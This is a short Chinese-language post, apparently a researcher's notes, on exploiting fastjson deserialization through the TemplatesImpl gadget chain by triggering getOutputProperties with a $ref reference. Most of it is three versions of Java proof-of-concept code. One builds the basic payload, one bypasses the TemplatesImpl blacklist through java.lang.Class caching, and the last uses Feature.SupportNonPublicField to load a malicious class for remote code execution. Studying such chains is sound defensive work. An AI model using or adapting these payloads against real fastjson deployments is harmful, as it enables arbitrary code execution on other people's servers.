fastjson搞笑的逻辑
搞jackson的时候提到,jackson 没有setter的情况下会调用getter,于是有TemplatesImpl链。我一拍大腿说那fastjson通过$ref也可以啊!POC
public class Id_MINIMAL_Class_TemplatesImpl { public static void main(String[] args) throws IOException { String exp = readClassStr("E:\\CODE_COLLECT\\Idea_java_ProTest\\my-yso\\target\\classes\\TemplatesImpl_RuntimeEvil.class"); String jsonInput = aposToQuotes("[{'@type':'com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl',\n" + "'transletBytecodes':['"+exp+"'],\n" + "'transletName':'test'},\n" + "{\"$ref\":\"$[0].outputProperties\"}\n" + "]"); System.out.printf(jsonInput); JSON.parse(jsonInput); } public static String aposToQuotes(String json){ return json.replace("'","\""); } public static String readClassStr(String cls) throws IOException { byte[] code1 = Files.readAllBytes(Paths.get("target/classes/TemplatesImpl_RuntimeEvil.class")); return Base64.encode(code1); } }
结果发现1.2.36早就把TemplatesImpl加入黑名单了,而>=1.2.36才能通过$ref调用getter
那我强行用MiscCodec缓存绕过
public class Id_MINIMAL_Class_TemplatesImpl { public static void main(String[] args) throws IOException { String exp = readClassStr("E:\\CODE_COLLECT\\Idea_java_ProTest\\my-yso\\target\\classes\\TemplatesImpl_RuntimeEvil.class"); String jsonInput = aposToQuotes("[{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"},{'@type':'com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl',\n" + "'transletBytecodes':['"+exp+"'],\n" + "'transletName':'test'},\n" + "{\"$ref\":\"$[1].outputProperties\"}\n" + "]"); System.out.printf(jsonInput); JSON.parse(jsonInput); } public static String aposToQuotes(String json){ return json.replace("'","\""); } public static String readClassStr(String cls) throws IOException { byte[] code1 = Files.readAllBytes(Paths.get("target/classes/TemplatesImpl_RuntimeEvil.class")); return Base64.encode(code1); } }
结果发现没反应也没报错
调试跟进去发现TemplatesImpl没赋上值
在我的多方调试下,终于发现,fastjson反序列化不能调用私有和保护setter进行赋值:
所以只能用Feature.SupportNonPublicField直接对字段反射赋值
public class Id_MINIMAL_Class_TemplatesImpl { public static void main(String[] args) throws IOException { String exp = readClassStr("E:\\CODE_COLLECT\\Idea_java_ProTest\\my-yso\\target\\classes\\TemplatesImpl_RuntimeEvil.class"); String jsonInput = aposToQuotes("[{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"},{'@type':'com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl',\n" + "'_bytecodes':['"+exp+"'],\n" + "'_name':'test'," + "'_tfactory':{}},\n" + "{\"$ref\":\"$[1].outputProperties\"}\n" + "]"); System.out.printf(jsonInput); JSON.parse(jsonInput, Feature.SupportNonPublicField); } public static String aposToQuotes(String json){ return json.replace("'","\""); } public static String readClassStr(String cls) throws IOException { byte[] code1 = Files.readAllBytes(Paths.get("target/classes/TemplatesImpl_RuntimeEvil.class")); return Base64.encode(code1); } }
此贴终结